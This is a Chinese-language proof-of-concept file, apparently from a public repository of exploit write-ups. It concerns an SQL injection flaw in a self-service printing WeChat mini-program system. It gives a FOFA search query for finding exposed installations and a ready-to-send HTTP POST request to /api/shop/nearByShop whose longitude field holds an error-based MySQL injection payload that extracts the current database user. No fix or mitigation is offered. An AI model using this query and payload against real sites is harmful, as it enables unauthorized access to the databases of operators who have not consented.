POC/wpoc/自助打印微信小程序系统/自助打印微信小程序系统存在SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

37 lines
1.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 自助打印微信小程序系统存在SQL注入漏洞
# 一、漏洞简介
微数字化时代打印服务的需求与日俱增。为了满足用户的便利需求全新UI的自助打印系统/云打印小程序。全新UI设计采用2024年最新的UI设计风格界面简洁美观用户体验极佳。云打印功能支持用户通过小程序上传文件并进行云端打印方便快捷。自助服务用户可以自主选择打印参数如打印份数、纸张类型等实现真正的自助打印。多平台支持源码支持微信小程序平台方便用户在移动端进行操作。自助打印微信小程序系统存在SQL注入漏洞
# 二、影响版本
+ 自助打印微信小程序系统
# 三、资产测绘
+ fofa`"未登录" && "/admin/login/index.html"`
+ 特征
![1731770780231-233931af-9dae-4e66-b394-ceeaf5ac5ef0.png](./img/8MSyZ7Ia8bEhgqoI/1731770780231-233931af-9dae-4e66-b394-ceeaf5ac5ef0-467114.png)
# 四、漏洞复现
```java
POST /api/shop/nearByShop HTTP/1.1
Host:
Content-Length: 104
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
latitude=1&longitude=GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),9392)
```
![1731770611972-822ff61c-09a2-48b2-8d1d-ed5a9ef930cd.png](./img/8MSyZ7Ia8bEhgqoI/1731770611972-822ff61c-09a2-48b2-8d1d-ed5a9ef930cd-909864.png)
> 更新: 2024-11-27 10:00:05
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/plik2eccznoh6366>